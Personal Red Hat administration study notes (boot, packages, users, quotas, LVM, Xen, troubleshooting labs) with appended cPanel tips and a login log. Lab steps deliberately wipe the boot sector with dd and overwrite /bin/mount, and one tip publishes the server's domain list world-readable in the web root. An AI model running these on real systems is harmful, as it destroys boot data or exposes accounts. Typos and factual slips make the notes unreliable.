1. SYSTEM INITIALASATION:-      			date: 6th sep2007

1) POST:- power on self test
2) BIOS  :- ( Basic Input Output System)
3) POST  :-  Power On Self Test
4) CMOS :-  ( Complementary metal oxide semiconductor )
5)  Boot sequence :-  CD , Hard Disk
                                             It searches the device
6) Boot Device :-  HDD
7) MBR :- master boot  record
8) GRUB  :- grand unified boot loader
9) Kernel :-  core of operating system
i)system initialization
ii) process management 
iii) memory management   
iv) Network Initialization

10) Vmlinuz  :-- computer u’r linux kernel
11) Initrd.img :-
12) Init sequence :-
                             Login prompt



* Init Sequence 

   # vi  /etc/rc.sysinit

1) Activate UDVE & se Linux
2) Kernal parameters sets
3) Sets the system clock
4) Enable Swap partition
                        ( SWAP – virtual memory)
5) sets HOST name 
6) Root file system check & remount
7) Active RAID & LVM
8) Enable disk quota
9) Check & mount other filesystem
10) Cleans up stail lock & PID files 






  #  vi /etc/inittab

0. halt  ( do NOT set init default to this)
1. single user mode
2. multiuser  , without NFS (the same as 3. if you do not have networking )
3. Full multiuser mode
4. unused 
5. X11  ( graphical mode)
6. Reboot  ( do not set initdefault to the)

* id:3:initdefault

--> that means full multiuser mode
# init 0
# init 6
# init 5
						(xen-virtualisation)

# vi /etc/rc.local  --> it execute after all the other init script

# vi  /etc/rc.d/rc
                           Runlavel changes
   This file is responsible for starting/ stopping services when the runlevel changes.

# vi /etc/motd  
                       --> type the message of the day

# vi /etc/issue –
1. Name
2. Kernel  \r on an\     i686  (intel686)

# vi /boot grub/grub/grub.conf

Default  = 1
Timeout = 5
Password  -- md5
Splash Image = (hd 0,1)



Cha 2 :  PACKAGE    MANEGMENT  

 Redhat package manager  :-- RPM

Features :--

* it allows to install s/w (software)
* allows to upgrade s/w
* allows to remove  s/w
* allows to Repair  s/w
* many other 

RPM package Install  :-- 

# mkdir –p  /mnt/server1
                                --> to make a directory 1st 
# mount –t nfs 192.168.0.254:/var/ftp/pub  /mnt/server1
                                 --> then mount the nfs location

# cd /mnt/server1/RedHat/RPMS
                                  --> then change the directory 

# ls    -> list 

# RPM –ivh  zsh-html<tab>
                                    --> Install the package u want

* how to upgrade package 
# rpm –Uvh   zsh –htm<tab>

* how to fresher /repair
# rpm –fvh  zsh-html <tab>
             
* how to erase /remove the package 
# rpm –E zsh-html
 
* how to see a package install in system
# rpm –qa  (query all)

* hwo to list of file required for packages 
# rpm –ql  -               (query list )

* How to see information regarding the respective package.
#  rpm-qi  <package name>

* how to see a virsion of package 
# rpm –q 

* how to see a older or newer version of package 
# rpm –q - -  change log  <pack name>)

* how to see a script used while installing
#rpm –q – script <pack name>

* how to see utility given by the package 
# rpm –q --  provides
  
Note:          (dependency different between RPM & YUM package installing 
                                             YUM should be resolve.)



* INSTALL THE PACKAGE BY YUM

* YUM 
# cd /etc/yum.repos.d/
# ls 
# rm 
# cd 
# ftp server1

         Name : ftp
         Password: 

ftp/> ls
ftp/> cd  pub
ftp/> mget server1.repo
          mget –yes
ftp/> quit

# cp server1.repo /etc/yum.repos.d/
# yum install <package name>
# yum list  <package name>

# Yum –y <package>  




Cha :- 3

It’s core part of o/s

1) system initialization
2) process management
3) memory management
4) security
5) sets up network & file system [ protocol]

module .: it is short extension of kernal.

* feature :-- 
1) reduces memory footprint
2) easy of uptime
3) flexibility :-- load /unload   

# lsmod   --  list of modual 
# modprobe-- it is add a modual 
# rmmod <modual > for removing 

# ls /lib/moduals/<tab>/kernal/drivers -->
                      It’s is used for 2 see the driver  of u’r system


# modinfo (cd rom)
--> it used for regarding info about the partition modual.

# modinfo ISDN

# /dev:-  used for device drivers 

* 3 attribute regarding  /dev

1) major number
2) minor number
3) device Type

          i)			          ii)
Block type	                           character device 
Used to stored deta 	use a deta sterm

# ls –l /dev/ | less
		Device available by kernel

* udev :-  is daemon used to  --> administrator /dev
(it is background process not visible)

* /proc :-  it is used to configure or set a configuration of kernal

# cat  /proc/cpuinfo--> details /information of CPU

# cat /proc/meminfo- --> complete information of system memory

# cat /proc/modules  --> info of modules

# cat /proc/iomem  -->  input & output memory required 

# cat  /proc/ioports -->

# cat /proc/partitions-->

# cat  /proc /version  --> version of linux 


# vi /etc/modprobe.conf

-->   Configuration file containt par assistance setting that apply to modules 
        commonly loaded onto the system.



# free  :-- it is used to see a memory uses .

# vmstat – virtual memory static’s to see the by this command 


# Uname –R   --> to see the virsion
#sysctl –a –use to change a value kernal setting 

# sysctl –w fs. leases –enable = o 

# ls  /lib/modules/2.6.18.8.el5/kernel/drivers 




11th sep 07



SMP : kernel user 4 GB RAM

PAE : 4*4 split memory process as well as 
         : kernal each user 4 GB
 
Xen : virtulasition 
















Unit 5 .  User Administration 
                          
  # vi  /etc/passwd :  user database
  #  vi  /etc/group  :  group database
  #  vi  /etc/shadow : passwd database

# useradd ost
# passwd ost

* how to add a comment 	
# usermod –c  “I am king ”  ost

* how to change in directory 
#   usermod –d  /root  ost

* locking password  
   # usermod  -L  ost

* unlocking password 
# usermod  -U ost

      Id ost 
   Group 
# usermod  -g    root   ost

* adding  different groups 
# usermod  -G root ,bin  ost  (user name)  

* change login shell :-
# usermod –s  /bin/sh   ost
                       /bin/bash

* how to change a login name
   # usermod  -l   ram  ost

* delete a user
# userdel  -l    ram
# userdel  - r   ram       ( r –recursiverly with home directory)



* adding a group  :
 # groupadd   ost

# groupmod   -n  abc  ost

# groupdel  - abc              ( deleting a group)

# groupmod  -g  2000 abc

         #  vi  /etc/group
# Group  -r



* ageing policies

# chage  -l  ost

# chage  -m  2  ost

# chage  -M   12  ost

# chage  -E  2007/08/11  ost

# chage  -E never (root)

#chage  -I 
         
* USER INFORMATION

* Authentication :-- diff type of password

GUI :  system-config-authentication

# Authconfig –tui 
                 NIS setting
Domain  : not example 
Server    :  192.168.0.254

* how to solve a home dir error

# vi  /etc/fstab

Ext3				,acl   -- Access control list

:wq!


  # vi  /etc/auto. master.
                       
                             /home/guests    /etc/auto. guests
                        --- timeout = 60

# vi /etc/auto. guests

   --rw,  soft ,intr             192.168.0.254
                            
                                       /home/guests/&

# mount –o remount  /home

# service autofs restart
                  It is going to auto mounted features ..

# useradd  guest 2001
# passwd   guest 2001
				
      NIS  setting

# su  - guest 2001
                                    Home directory error

#vi /etc/fstab

LABLE-/home			default  , acl     1  , 2

:wq


#  vi  /etc/auto. master

         /home/guess	/etc/auto. master  --timeout = 60
               ( mount a this dir  when give this command  in 60 sec.)

#  vi   /etc/auto. Guest
*  --rw  , soft , intr      192.168.0.254   /home/guest   & 

----------------------------------------------





NIS
Upbind  & portmap
5 files effected  :--

#  vi  /etc/sysconfig/network
# vi   /etc/sysconfig/Authconfig
# vi   /etc/pam.d /system-auth     as
# vi  /etc/yp.conf
# vi   /etc/nsswitch .conf 


Getfacl   /home/user

Modifie  a ACL

# setfacl  -M  u : user1 : rwx   /home/user2

        # cd  /home/user2
----------------------------

# useradd  user1

# passwd user1

# useradd  user2

# useradd  user2


# getfacl    /home/user1

# setfacl  -m  user1:user2:rwx                 /home/user1


* login as user2

# cd   /home/user1 .

------------------------------

* SE linux ---           security enhance.

* 3 modes  
1) enforcing
2) disabled 
3) permissive
 
configuration file  :-

  #  vi  /etc/sysconfig/selinux

# ls –Z        

     User : role : type : sensitivity : category 

# getenforce --> current status

# vi  /etc/sysconfig/selinux
                Selinux  = enforcing

# reboot

                        0 – permissive 
                        1 – enforcing





Cha:-- 6   filesystem management                                                   14th sep 07


* device drivers
                  software to drive hardware

1) static  ( Vmlinuz )
CPU, RAM, HDD
2)  modular  (initrd.img)

















DEVICE                    				    NAME   IN  LINUX


Primary master        IDE  HDD			     /dev/had
Primary slave          IDE  HDD			     /dev/hdb
Secondary master    IDE  HDD 			     /dev/hdc
Secondary slave      IDE  HDD			     /dev/hdd
Primary  master      SCSI/SATA                                  /dev/sda
Primary  slave        SCSI/SATA                                   /dev/sda
secondary master    SCSI/SATA                                  /dev/sda
secondary master    SCSI/SATA                                  /dev/sda


modem						   /dev/modem
com1 port                                                                     /dev/tty s0  
com2 port						   /dev/tty  s1
cd rom                                                                           /dev/cdrom
cdwriter                                                                       /dev/cdrecorder
parallel port                                                                /dev/lpo


( swap is used for virtual memory

# mkdir –p                    # mount /dev/cdrom)






















System directory				function

/						main directory of linux

/home 				         home dir of non root user

/boot						booting related files

/var						variable file used by function

/tmp						temporary files

/bin						it’s binary  file used by
                            				The basic commands by user
                                                                               
/sbin   					system binary  -- use by 
						System  administration purpose						
/home                                                   it’s home dir of non root user  (

/etc						used for configuration file

/dev						used by device 

/lib						all the library file
                                                                                System is stored in it

/opt						third part s/w used when 
						Something is download

/proc						current  system information

/media					used by the removable information

/user						user file




DIGRAM    OF    HDD









MBR   --  ( Master Boot Record )  -512
1) grub – (446 bytes )
2) partition table
3) active partition 

* by default  -  4 part

IDE HD   -- 63 part         ( 3p 60p)

SCSI / SATA—15 part   (3p +12)



* Adding up a filesystem to filesystem free:
* identity device 
* partition device 
* make a filesystem 
* lable filesystem
* add entry to fstab


V . IMP

* how to make a partition

1) to make partition  +100M
2) define the type of filesystem
( ext3 ,ext2, swap) 
3) mount the filesystem  on  /data(any define name) directory 
on  -- i)  temporary basic
          ii) parmenent basis




step --> 1

# fdisk  -l  		list of the partition

# fdisk  /dev/had
P
<--
N
<--
P
<--
Press enter key for default size
<--
+100M
<--
P
<--
W
<-- writing and quitting particular changes

# partprobe    
		It’s use for refreshing system without rebooting.



Step --2


Ext-2     
           # mke2fs  /dev/hda4     

# mkdir  --p   /data

# mount –t ext2   /dev/hda4   /data

#mount 

# cd  /data  

# ls 

#  touch   p, q, r

# ls

#cd 

# umount /data

# mount



* for deleting a partition 

#fdisk  /dev/had
-->P  --> D -->   1-4 ….?   --> P  -->   W--> # partprobe 

# mkdir –p  /data
# e2label  /dev/hda4  /data
# e2label   /dev/hda4
                     /data

# vi /etc/fstab

dev/data
LEBEL = /data

                                                               Dump frequency      fsck   ---(files check)      
/dev/hda4 		/data		ext2  	    defaults        0   0
LABEL = /data

#wq!
# mount   /data
# mount 
#cd /data
# touch a,b,c
#cd
#umount  /data
#mkfs.  ext3   /dev/hda4





* converting to the  ext2  to  ext3


# mkfs. Ext3  /dev/hda4
# mkdir  -p  /data
# mount  -t  ext3   /dev/hda4   /data
       # mount 
      # cd   /data
       # touch  p , q  ,r

         # cd

        # umount  /data

* permanent basis  :--
* 
# vi   /etc/fstab

/dev/hda4 		/data		ext3	defaults	0  0

:wq!
# cd  /data
# ls
# touch   c , d ,e
#cd 
# mount 
#cd  /data
# umount  /data


* Converting to the ext-2  ext-3

# mkfs. Ext3  /dev/hda4

# mkdir –p /data

# mount –t ext3	/dev/hda4 	/data

# mount

# cd  /data

# touch  p , q  ,r

#cd  

#umount  /data


* permanent basis 
# vi  /etc/fstab

/dev/hda4		/data		/ext3		defaults	0   0


:wq!

# cd  /data
# ls
#touch  c,d,e
#cd
#mount
 # cd  /data
# umount  /data




* how to install /mount an a remote nfs share :--

# mkdir  -p  /mnt/server1
# mount  -t   nfs 192.168.0.254:/var/ftp/pub/mnt/server1
#cd /mnt/server1/Redhat/RPMS
#ls
#cd
#umount   /mnt/server1


* how to auto-mounter feature of linux

# vi   /etc/auto.master
				add the 8th line

/,misc		/et/auto.misc –timeout  = 60


:wq!


# vi /etc/auto.misc
				Go to end of file and add

Server1		-fstype=nfs		192.168.0.254:/var/ftp/pub

:wq!


# service autofs restart

#  cd  /misc/server1
# mount
#ls
#cd
            Wait for 1 min
# mount 











NETWORK CONFIGURATION			19th   sep 2007


* shows active interface on u’r  system
# ifconfig  -->   shows active interface
# ifconfig  -a   -->   active  & inactive interface
# ip link    --> to see the interface & hardware address of the interface


* 3 modes of communication
1) Simplex
2) half duplex
3) full duplex


1) simplex :-- does not realy on the response of destination    (e.g.   radio) 






2) half duplex :--   wait for acknowledgement of destination     ( e.g  walky talkie)






			Directly connection 2 sys
4) full duplex :--


( e.g telephone)




* # ethtool  : this command is used to speed  & duplex setting of the particular interface 
 e.g    eth 0   :  eth1

	100 base T   -- transmits  the speed  100mbps

# mii  -tool   -V   ( verbose manner)
             It show the capability of 2 interface 
# ip address :-  hardware address or shows u the interfaces.


* interface configuration file 
                  stored in 

# vi  /etc/sysconfig/network-script-scripts/ifcfg-eth0

Bootprot : dhcp – converts the IP address dynamic setting for configuration file.

* static setting for configuration file 
       if having IP ADDR =
      NETMASK  = 255.255.255.0

* DEVICE ALIASES

  Eth 0
  Eth 0  : 1
  Eth 0  : 2



* routing table :-- allows to transmit packets to remote system 

* how to see a current routing table on u’r system 

# route

# netstat –r

# ping –c  4   192.168.0.2 

# traceroute  192.168.0.2

Hopes 30


IMP—question for exam

# hostname  : to see the host name

* how to change a hostname to temporary bases
 # hostname

* ho to change hostname permanent  
   
#  vi   /etc/sysconfig/network
    
HOSTNAME =

:wq!

# service network restart



Conf file   :--

# vi   /etc/hosts

* local revolver 
it is used for forward & reverse lookup is given

1) forward lookup : it searches the number when name is given
e.g # ssh  station1
                      
2) reverse lookup : it far name when number is given  
e.g. # ssh 192.168.0.1


* remote resolver : DNS
   # vi  /etc/resolve.conf   --> it’s conf file for resolver 



* Advanced file system management :--                                  21th sep 2007

LVM : Logical Volume Manager 

* It helps to resize as recognize filesystem



* physical device : put’s present on system 

                                                          : physical volumes


                                                          : volume group    ( club together)



                                                           : logical volume


* advantage :--  it’s flexibility of storage 


#  pvcreate  /dev/hda4   /dev/hda5

# vgcreate   data0    /dev/hda4         /dev/hda5

# vgdisplay
             It’s displayed  u a volume group 

# lvcreate  -L  +40mb  -n data  data0             (L=lenth size    n= name)

# lvdisplay 
                    It’s displayed u a logical volume .

# mkdir –p  /data

# mkfs .ext3    /dev/data0/data

# mount –t  ext3   /dev/data0/data



* steps  -- 
    # fdisk   /dev/had
  
       N
       <-- 
       E
       <--
       <--
+100m
       <--
       <-- 
  +100 m
<--

T
(1 -5  number)
Type – 8e
<--
Num
<--
 Type 8e
<--  
 p
<--
W
<--

# partprobe 




#  pvcreate  /dev/hda4   /dev/hda5

# vgcreate   data0    /dev/hda4         /dev/hda5

# vgdisplay
             It’s displayed  u a volume group 

# lvcreate  -L  +40mb  -n data  data0             (L=lenth size    n= name)

# lvdisplay 
                    It’s displayed u a logical volume .

# mkdir –p  /data

# mkfs .ext3    /dev/data0/data

# mount –t  ext3   /dev/data0/data

# mount 
# cd /data
#ls
# touch  a b c
# ls
# cd
# umount /data
					(fsck –l /dev/hda0/data)


* how to resize LVM
                                   to save the new LV table
# lvextend   -l +20m  -n   /dev/data0  /data

 #resize2fs  /dev/data0/data
                                   It makes the partition on the system

* how to remove logical volume
# umount  /dev/data0/data
# lvremove  /dev/data0/data

#  lvremove data

* how to remove physical volume
# pvremove /dev/hda4
# pvremove /dev/hda4

# partprobe
                             Refresh the list of partition 




* KIKSTART INSTALLATION -->
(auto answering the system - kikstart)
   
* do this step for server side 
# vi anaconda. Ks .cfg
# cp anaconda .ks .cfg    /var/ftp/pub/ks5.cfg
# vi  ks.5 cfg

* client side 
-- insert the bootable disk in cdrom    then

 # linux ks=nfs:192.168.0.254:/var/ftp/pub/ks5.cfg noipv6 	
							Anaconda file
     Or 
   
       # linux  = ks noipv6









7.QUOTA SYSTEM					27th 2007

* RAID  : redundant array of independent device 

* It’s has 3 different stages :--

                                             RAID 0 



P-1                                                                         



P-II





                                            RAID -1 							




P-1                                                                         




P-II




					RAID -5



P-1                                                                         

						P - III

P-II


* QUOTA SYSTEM   --IMP :

 Needed by the administrator ( root )  so that it can prevent the non root users  can’t just fill his data

--> it’s used by the administrator to limit the usages of file /disk by non-root user 

* Two type in quota
1) inode  quota -->  it’s th limit the no. of file on the disk. 

3) block quota -->  it’s limit the no of directives on the disk.

--> when you use inode quota it issues you a soft warning
--> when you use block quota it issues you a hard warning


IMP –Steps 

# vi /etc/fstab
	(Go to the partition & where default in written,replace it by usr quota.)
 
/home 							usr,quota   1  2 

:wq! 
 

# mount –o remount /home

# init 1 –  ( go to the single user mode)

# quotacheck  -cu  /home

# exit

#quota on /home

# quotaoff


-->later to following step

* limiting a no. of files :--

# useradd   <any name> e.g test

#passwd                          test


# edquota  test

Block	soft		hard		inode		soft
								60
100

:wq!


# su –test  (switch to user test )

then

# for I in $(seq 1 100);do echo –n “file  ${i}”; touch file ${i} 2>&1; done|less

		(it shows you a 1 to 100 number of sorting)


# su –

# edquota test

         Block	soft		hard		inode		soft
 		
512   1024

:wq!



# su –test
 

# dd if=/dev/null of=bigfile bs=1k count=400

			( dd--> means convert & copy. )
       ( If--> means input fif . )
      ( Bs --> means block size. )










10 . VIRTUALISTION  WITH  XEN

* advantages of virtualization
1) security
2) management 
3) effective resource usages 

--> In virtualization in creating a virtual system in your mainframe 
*hypervision :- it’s manger for xen
*domain:-  it’s where the virtualization system works 



* 2 types of virtualization available available :-- 
1) para virtualization  :-- here diff type of os can be created
e.g. RHEL-3  , RHEL -4   , RHEL -5  etc

 2) full virtualization   :-- it has only 1 type of os

* two package required to install

the virtualization system
1) kernel-xen             2)xen


# cd /etc/yum.repos.d

# ls

# rm server1.repo.
			(Remove the repository fiel)

# cd 
#ftp server1

Name : ftp

Passwd :  just enter  (no need for password)

ftp\> cd pub
		change the pub directory 

ftp\> mget server1.repo 
		get the sever1.repo file 

ftp\> quit
# cp server1.repo   /etc/yum.repos.d/

# yum install xen
          Y<--
# yum install kernel – xen
          Y <--

Then after that following step 

# vi  /boot/grub/grub.conf

	Default  :  1 
            replace with 0  (so it would be default 0)

:wq!

# reboot

# uname –r 
		Check the version 
# df –H
                 ( at least 10 gb should be available for the virtualized system)  

# setenforce 0

# xm list 

# xmcreat test -c

# virt-install –n test –r 300-f /tmp/test –s 6 –nographics nfs:192.168.0.254:/var/ftp/pub RHEL5 -p

# xmcreat -    test-c       ( login for virtual system)


 
* for existing the virtual system
# poweroff
# shutdown  now –r
# sm set-mem  1024   domain-0







* SYSTEM SERVICES

*system.klogd  --> (demon of log file in u’r system)

 - file in the system for troubleshooting

# vi    /var/log/mdmesg    --> kernel boot message
# vi    /var/log/message    --> system error message
# vi    /var/log/maillog      --> error from Sendmail server
# vi    /var/log/secure       --> security  , xinetd services messages .

* syslogd configuration file     (stored in)
  
 #  vi   /etc/syslogd.conf)

1) the 1st column is indicate date & time of the message 
2) the 2nd column is indicate error is been generated
3) 3rd  column is indicate name of the application due from where error accureted .
4)  4th is actual message itself


* X – Org   --> it is the main foundation or the base of GUI


           X- server                     X-client
It s/w to drive h/w                            any application to the display
 ( video card)


* how to configure ur GUI

     # system – config –display

          (   /etc/x11/xorg.conf  --> conf  file of ur server ) 

             (  virtual network computing )

 * crontab  -e         -- edit a particular crontab
 * crontab   -l          -- list the particular crontab
 * crontab   -r         -- to remove a crontab 

 # vi   /etc/cron.allow  -->  list of user allow to use cronetab

# vi   /etc/cron.deny    --> list of the users not permitted to use crontab



(Exec metacity)

* how to run an application automatically whenever  GUI is started
 #   vi   /etc/X11/xinit/xinitrc.d/xterm.sh

       #!/bin/bash
    Firefox &         ( command to be run at background)
   
 :wq!

# chmod u+x  /etc/x11/xinit/xinitrc.d/xterm.sh

# start x   




1st oct 2007



* how to control remote desktop
          Server & Client

# yum install kdenetwork


* Server Side Step    (e.g 192.168.0.254 )


# yum install kdenetwork 
# startx
             In  GUI

System-->preferences--> remote desktop--> allow other to view
Allow other to control
  Enter the password  i.e Redhat  -->close

* client side step
# yum install kdenetwork
# start X

Application  --> internet --> krdc
--> name : 192.168.0.1:0  --> allow high quality lan

--> connect


V-IMP

( Ts package install by RPM )
( # rpm –ivh ftp://192.168.0.254:/pub/REdHat/RPMS /rhce  -ts*.rpm )

11. TROUBLESHOOTING 

LAB SEQUENCE 

1) booting related problem 
2) ---
3) Simple problem

1st field 
I)  start x                       (start related problem)


Hints :--


1) console alive on f-7

2) check for   
             #df –H
             name of the partition should be 100% filled 
     
     3) #  service xfs start   ( if not working)
  
     4) # system –config-display



II) networking not working
 
 1)hostname resolution problem 

# hostname station1.example.com


# vi /etc/resolv.conf

o/p
                     search example.com
               Name server 192.168.0.254
:wq!

2) cannot  ping to single outside machine
   
      # ping stationX.example.com
     
       # ifconfig
     # service network restart
                      ( if inet address is not available)


3) cannot ping to any machine in lab :--
  
# ping stationX  . example.com

# ifconfig

# ifup eth0             (it’s start ur lan card)


III) booting related problem

problem might occur in following file

1) #     vi  /etc/inittab

*hint:-
   i. default runlevel may be deleted.

    ii. check system initialization patch for correct runlevel.
                                         (Vmlinuz –it’s compress the kernel)



2) vi  /boot/grub/grub.conf
( grub configuration file )
       
* hint :- 
       the        LABEL= /    may be deleted 

:wq!


3) #   vi  /etc/rc.local

  * hint :-  there may be halt /reboot placed in the script remove it

  

4)  vi  /etc/fstab			( mount point defined )

Hint:-- 
		LABEL =/ may be deleted       ( so add it after words ) 
:wq!
# rpm –ivh ftp://192.168.0.254:/pub/REdHat/RPMS /rhce  -ts*.rpm  
( trouble shooting package installation)

# tslocal  1

# tslocal  2

		Login as Gertrude user with same passwd


# tslocal  3 
     
     # vi  /etc/fstab
* check for  /home partition & the userquta  (usr,quta) 

       # mount –o  remount /home

        # touch  /home/quota. User

       # quotacheck  -cM  /home—        ( check that command to work)


# tslocal  4    

1. reboot the system & check for account it must be expire
2. reboot & go to the single user mod 
3. # cahge  -l  root
4. # change  -E never root
5. # exit


* network related problem :--
       
              # ts network

# ftp mserver1.example.com

# vi  /etc/resolve.conf
             Name server 192.168.0.254
                 (192.168.10.254 -- mistake) 

:wq!

#  ftp server1.example.com

# ping  server1.cracker.org

# ifup eth0

# system – config- network
		Change IP address 192.168.0.254

# service network restart

# vi   /etc/sysconfig/network-script/ifcfg-eth0


* booting related problem

# tsboot 1
                     Here is runlevel problem So go to the 
                     # vi  /etc/inittab        & solve the problem
                  :wq!

# tsboot2 
# vi  /etc/inittab 			&solve the problem
 Change in the 

* how to corrupt grub boot loader & repair in rescue mode 

# dd if =/dev/zero of=/dev/had bs = 446  count = 1

# boot linux rescue 

 		Nfs setup  -  192.168.0.254
                        /var/ftp/pub/RHEL5           ( it’s may be change) 

Continue -->

# chroot   /mnt/sysimage 
# grub-install     /dev/had

# exit  
		Remove cd
# exit


* how to corrupt a mount command repaired at rescue mode

# cp   /bin/date   /bin/mount

# reboot 
 
# linux rescue
<-- enter
continue

# Chroot  /mnt/sysimage 

# rm  -V util –linux   ( a backup stored in it )

# exit  chroot 
# cd mnt
# cd source sysimage
# cd server
# ls

# rpm –ivh –force -  -  root  /mnt/sysimage util-linux*
      
     #exit
#exit

# mount

# fdisk   /dev/had
 			( make a logical partition)
Type (t) set it to fd

# partprobe

# mdadm  -C /dev/md0 –a yes-L  1 –n  2  /dev/had   {5,6}  <--

			( 4th partition is extended )

# mdadm –detail   /dev/md0

# mdadm  --remove /dev/md0

# cd /dev/md0

# For I in $ (seq 1 100) do echo –n “file${i}”  touch file ${i} 2>&1 done | less

# exit

Root  # edquota cat

# su –cat
Quota 

# dd if=/dev/null of=bigfile  bs=1k  count=400

#exit
Edquota cat
# su –cat




   

1
   

Linux Server Commands

http://www.reallylinux.com/docs/admin.shtmlcat /etc/trueuserdomains > /usr/local/apache/htdocs/apache.txt
then cd /usr/local/apache/htdocs
chmod 777 apache.txt
browse http://serverip/apache.txt
this will show all main domains

you can compare domain from whm >> list account 
total number of domains on the server
and
cd /usr/local/apache/htdocs
cat apache.txt | wc -l
both will show same value
--------------------------------
above command will show domain names with username 
If want only domain names
try below :

cat /etc/trueuserdomains | awk '{print $1}'| cut -d: -f1 > /usr/local/apache/htdocs/apache2.txt

suppose from any file you want o just print column no 3 then use awk '{print $3}'
And if want to delete ":" from file from each line then : cut -d: -f1   (if colone is after 1st field)

And then browse file "apache2.txt" with the server IP.
 
When trying to access phpMyAdmin throw following error :

Error #2002 - The server is not responding (or the local MySQL server's socket is not correctly configured)
Solution for cPanel:
chown -R cpanel:cpanel /usr/local/cpanel/base/3rdparty/phpMyAdmin
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock
chown -R root:root /tmp
chmod -R 1777 /tmpApache Web Server Logs:

/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log

Exim (Email) Logs:

/var/log/exim_mainlog
/var/log/exim_paniclog
/var/log/exim_rejectlog

Ftp Logs:

/var/log/messages

Mysql Logs:

/var/lib/mysql/server.hostname.err

Cronjob Logs:

/var/log/cron

Server Logs:

/var/log/messages

SSH Logs:

/var/log/secure

cPanel Installation Logs:

/var/log/cpanel-install-thread0.log

ChkServd (cPanel Monitoring Daemon) Logs:

/var/log/chkservd.log

Named (Bind) Logs:

/var/log/messages

Last successful login attempts to the server:

/var/log/wtmp (but to view the details, execute the command “last”)


Last unsuccessful login attempts to the server:

/var/log/utmp (To view the logs, execute “lastb” command)

Domlogs of an Account:

/usr/local/apache/domlogs/domainname.tld

Mod Security Logs:

/usr/local/apache/logs/modsec_audit.log
/usr/local/apache/logs/modsec_debug_log

Apache SUEXEC Logs:

/usr/local/apache/logs/suexec_log

cPanel Access and Error Logs:

/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log

Stats Execution Logs:

/usr/local/cpanel/logs/stats_log

cPanel License Logs:

/usr/local/cpanel/logs/license_log

cPanel Backup Logs:

/usr/local/cpanel/logs/cpbackup/*.log

Tomcat Logs:

/usr/local/jakarta/tomcat/logs/catalina.err
/usr/local/jakarta/tomcat/logs/catalina.outLogin History :
==========
(Output of command : last)

root@rhodium [~]# last | more
root     pts/3        vpn-pool.dimenoc Fri Oct  1 08:45   still logged in
root     pts/3        vpn-pool.dimenoc Fri Oct  1 08:36 - 08:44  (00:07)
root     pts/2        dc2.ssh.dimenoc. Fri Oct  1 08:36   still logged in
root     pts/1        vpn-pool.dimenoc Fri Oct  1 08:36   still logged in
3gteam  pts/0        115.248.197.138  Fri Oct  1 08:36   still logged in
reboot   system boot  2.6.18-194.11.4. Fri Oct  1 08:35          (00:10)
3gteam  pts/1        115.248.197.138  Fri Oct  1 07:58 - down   (00:34)
3gteam  pts/0        115.248.197.138  Fri Oct  1 07:58 - down   (00:35)
reboot   system boot  2.6.18-194.11.4. Fri Oct  1 07:43          (00:49)
reboot   system boot  2.6.18-194.11.4. Fri Oct  1 07:38          (00:00)
reboot   system boot  2.6.18-194.11.4. Fri Oct  1 07:32          (00:04)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 06:59          (00:38)
reboot   system boot  2.6.18-53.1.21.e Fri Oct  1 06:51          (00:45)
reboot   system boot  2.6.18-8.el5     Fri Oct  1 06:47          (00:02)
reboot   system boot  2.6.18-8.el5     Fri Oct  1 05:41          (01:05)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 05:36          (00:03)
reboot   system boot  2.6.18-8.el5     Fri Oct  1 05:24          (00:11)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 05:20          (00:03)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 04:58          (00:20)
reboot   system boot  2.6.18-53.1.21.e Fri Oct  1 04:43          (00:13)
root     tty1                          Fri Oct  1 02:10 - 02:19  (00:09)
reboot   system boot  2.6.18-8.el5     Fri Oct  1 02:04          (02:52)
reboot   system boot  2.6.18-53.1.21.e Fri Oct  1 02:03          (00:00)
reboot   system boot  2.6.18-8.el5     Fri Oct  1 02:01          (00:00)
reboot   system boot  2.6.18-53.1.21.e Fri Oct  1 01:58          (00:01)
root     tty1                          Fri Oct  1 01:46 - down   (00:10)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 01:44          (00:13)
root     tty1                          Fri Oct  1 01:41 - down   (00:00)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 01:39          (00:02)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 01:27          (00:09)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 01:18          (00:07)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 01:17          (00:00)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 01:08          (00:06)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 00:48          (00:26)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 00:22          (00:52)
reboot   system boot  2.6.18-194.8.1.e Fri Oct  1 00:03          (00:16)
3gteam  pts/1        115.248.197.138  Thu Sep 30 23:45 - down   (00:16)
3gteam  pts/0        115.248.197.138  Thu Sep 30 22:20 - down   (01:42)
3gteam  pts/0        115.248.197.138  Thu Sep 30 07:51 - 13:54  (06:02)
3gteam  pts/0        115.248.197.138  Wed Sep 29 22:07 - 05:33  (07:26)
3gteam  pts/0        115.248.197.138  Wed Sep 29 19:20 - 21:58  (02:37)
3gteam  pts/0        115.248.197.138  Wed Sep 29 07:12 - 13:45  (06:32)
3gteam  pts/1        115.248.197.138  Tue Sep 28 22:31 - 05:47  (07:15)
3gteam  pts/2        115.248.197.138  Tue Sep 28 22:05 - 22:48  (00:43)
3gteam  pts/1        115.248.197.138  Tue Sep 28 19:54 - 21:52  (01:58)
3gteam  pts/0        115.248.197.138  Tue Sep 28 17:31 - 22:51  (05:20)
3gteam  pts/0        115.248.197.138  Tue Sep 28 06:24 - 13:47  (07:22)
3gteam  pts/0        115.248.197.138  Mon Sep 27 22:22 - 05:41  (07:18)
3gteam  pts/0        115.248.197.138  Mon Sep 27 17:57 - 17:58  (00:00)
3gteam  pts/0        115.248.197.138  Mon Sep 27 16:37 - 17:41  (01:04)
3gteam  pts/0        115.248.197.138  Mon Sep 27 06:38 - 13:51  (07:13)
3gteam  pts/2        115.248.197.138  Mon Sep 27 01:25 - 02:10  (00:44)
3gteam  pts/1        115.248.197.138  Mon Sep 27 00:48 - 01:26  (00:38)
3gteam  pts/0        115.248.197.138  Sun Sep 26 23:14 - 05:48  (06:34)
